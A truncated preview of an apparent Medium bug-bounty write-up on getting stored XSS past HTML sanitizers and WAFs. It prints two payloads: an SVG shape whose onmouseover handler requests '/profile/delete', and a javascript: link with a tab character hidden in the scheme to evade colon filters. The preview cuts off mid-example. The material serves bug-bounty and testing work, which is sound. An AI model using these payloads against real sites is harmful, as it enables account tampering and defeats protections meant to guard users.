Member-only story
$100-$20k worth Stored XSS Vulnerability | Hidden Methods
Published in
4 min readFeb 26, 2025
Hidden Methods to bypass restriction to find Stored XSS in Bug Bounties
Hi geeks, it4chis3c (Twitter) came-up with another bounty earning write-up in the Bug Bounty Hunting Series:
Bypassing HTML Sanitizers Like a Pro
Stripped <script> Tags? Use <svg> + onload
<!-- Most WAFs miss SVG event handlers -->
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="40" fill="red" onmouseover="fetch('/profile/delete')"/>
</svg>Sanitizers often allow SVG for graphics but forget to validate event handlers like onmouseover.
Blocked javascript:? Use : Trick
<!-- Bypass colon filters in href/src -->
<a href="java	script:alert(1)">Click Me (Works in Chrome)</a>Real-World Example: A CMS allowed 	 (URL-encoded tab) and : (HTML entity…
